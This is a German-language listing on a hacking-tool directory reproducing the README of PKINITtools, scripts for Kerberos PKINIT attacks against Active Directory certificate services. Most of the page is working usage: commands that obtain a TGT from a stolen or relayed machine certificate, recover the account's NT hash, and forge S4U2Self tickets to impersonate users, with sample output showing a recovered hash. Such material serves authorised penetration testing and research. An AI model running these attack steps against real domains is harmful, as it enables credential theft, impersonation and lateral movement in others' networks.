Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PKINITtools — Tools für Kerberos PKINIT und Relaying zu AD CS | Kitploit
Tools/GitHubGitHub/dirkjanm/pkinittools
ExploitationPenetrationstestsAuthentifizierung
GitHubdirkjanm/pkinittools

PKINITtools

Tools für Kerberos PKINIT und Relaying zu AD CS

Repository anzeigen
922107vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PKINIT-Werkzeuge

Dieses Repository enthält einige Hilfsprogramme, um mit PKINIT und Zertifikaten zu spielen.
Die Werkzeuge basieren auf minikerberos und impacket. Begleitender Blogbeitrag mit mehr Kontext: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

Installation

Diese Werkzeuge sind nur mit Python 3.5+ kompatibel. Klonen Sie das Repository von GitHub, installieren Sie die Abhängigkeiten und Sie können loslegen:

root@kitploit:~
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

Die Verwendung einer virtualenv wird hierfür empfohlen.

Werkzeuge

gettgtpkinit.py

Fordern Sie ein TGT mit einer PFX-Datei an, entweder als Datei oder als base64-kodierten Blob, oder PEM-Dateien für Zertifikat+Schlüssel. Dies verwendet Kerberos PKINIT und gibt ein TGT in die angegebene ccache aus. Es gibt auch den AS-REP-Verschlüsselungsschlüssel aus, den Sie möglicherweise für das getnthash.py-Werkzeug benötigen. Anwendungsbeispiel:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
                       domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
  domain/username     Domain and username in the cert
  ccache              ccache file to store the TGT in

optional arguments:
  -h, --help          show this help message and exit
  -cert-pfx file      PFX file
  -pfx-pass password  PFX file password
  -pfx-base64 BASE64  PFX file as base64 string
  -cert-pem file      Certificate in PEM format
  -key-pem file       Private key file in PEM format
  -dc-ip DC_IP        DC IP or hostname to use as KDC
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO     Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO     Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO     AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO     5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO     Saved TGT to file

getnthash.py

Verwenden Sie Kerberos U2U, um eine TGS-Anforderung für sich selbst zu stellen. Diese enthält das PAC, welches wiederum den NT hash enthält, den Sie mit dem AS-REP-Schlüssel entschlüsseln können, der für Ihr spezifisches TGT verwendet wurde. Es ist wirklich Magie. Dieses Werkzeug erfordert, dass ein aus PKINIT resultierendes TGT in Ihrer Umgebungsvariablen KRB5CCNAME vorhanden ist. Anwendung:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
  identity           domain/username

optional arguments:
  -h, --help         show this help message and exit
  -key KEY           AS REP key from gettgtpkinit.py
  -dc-ip ip address  IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
  -debug             Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

Verwendet Kerberos S4U2Self, um ein Service-Ticket anzufordern, das auf dem Host gültig ist, für den Sie ein Zertifikat erhalten haben. Dieses Ticket kann dann verwendet werden, um mit dem ursprünglichen Host zu interagieren. Dies erfordert nur ein TGT für das Maschinenkonto dieses Hosts. Dieses TGT sollte sich in einer ccache-Datei befinden, die Sie in der kerberos_connection_url angeben. Die einzige akzeptierte kerberos_connection_url für dieses Beispiel ist eine, die eine ccache-Datei enthält, also zum Beispiel kerberos+ccache://domain.local\\victimhostname\$:[email protected]. Der SPN sollte ein Dienstname auf dem Host sein, den Sie impersonieren. Sie können dies nicht für Delegierungsangriffe verwenden (da es kein S4U2Proxy implementiert, gibt es dafür bereits viele Werkzeuge). Anwendung:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
  kerberos_connection_url
                        the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
  spn                   the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a
                        TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
  targetuser
  ccache                ccache file to store the TGT ticket in

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO     Trying to get SPN with [email protected] for cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO     Success!
2021-07-28 10:09:13,696 minikerberos INFO     Done!

Lizenz

MIT

Danksagungen

  • SkelSec für minikerberos
  • Alberto Solino und das Team von SecureAuthCorp für impacket
  • Mor Rubin für seine erste PKINIT-Implementierung in python als Teil von AzureADJoinedMachinePTC
  • Benjamin Delpy für die Implementierung dieser Dinge in kekeo
Tool herunterladen